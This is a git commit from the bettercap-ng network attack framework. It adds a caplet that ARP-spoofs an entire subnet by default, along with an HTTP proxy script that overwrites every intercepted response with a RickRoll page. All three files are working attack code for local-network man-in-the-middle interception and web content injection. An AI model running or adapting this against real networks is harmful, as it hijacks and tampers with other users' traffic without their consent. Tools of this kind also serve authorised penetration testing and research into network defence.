new: web-override caplet and proxy module

This commit is contained in:
evilsocket 2018-01-09 22:52:56 +01:00
commit 74867aaae4
3 changed files with 42 additions and 0 deletions

15
caplets/web-override.cap Normal file
View file

@ -0,0 +1,15 @@
# targeting the whole subnet by default, to make it selective:
#
# sudo ./bettercap-ng -caplet caplets/web-override.cap -eval "set arp.spoof.targets 192.168.1.64"
set http.proxy.script caplets/web-override.js
net.recon on
http.proxy on
arp.spoof on
events.clear

17
caplets/web-override.html Normal file
View file

@ -0,0 +1,17 @@
<!doctype html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>You've just been RickRoll'd</title>
<meta name="description" content="You've just been RickRoll'd">
<meta name="author" content="bettercap-ng">
<!--[if lt IE 9]>
<script src="https://cdnjs.cloudflare.com/ajax/libs/html5shiv/3.7.3/html5shiv.js"></script>
<![endif]-->
</head>
<body>
<iframe width="100%" height="768" src="https://www.youtube.com/embed/oHg5SJYRHA0?controls=0" frameborder="0" allow="autoplay" allowfullscreen></iframe>
</body>
</html>

10
caplets/web-override.js Normal file
View file

@ -0,0 +1,10 @@
// Called before every request is executed, just override the response with
// our own html web page.
function onRequest(req, res) {
res.Status = 200;
res.ContentType = "text/html";
res.Headers = "Connection: close";
res.Body = readFile("caplets/web-override.html");
res.Updated();
}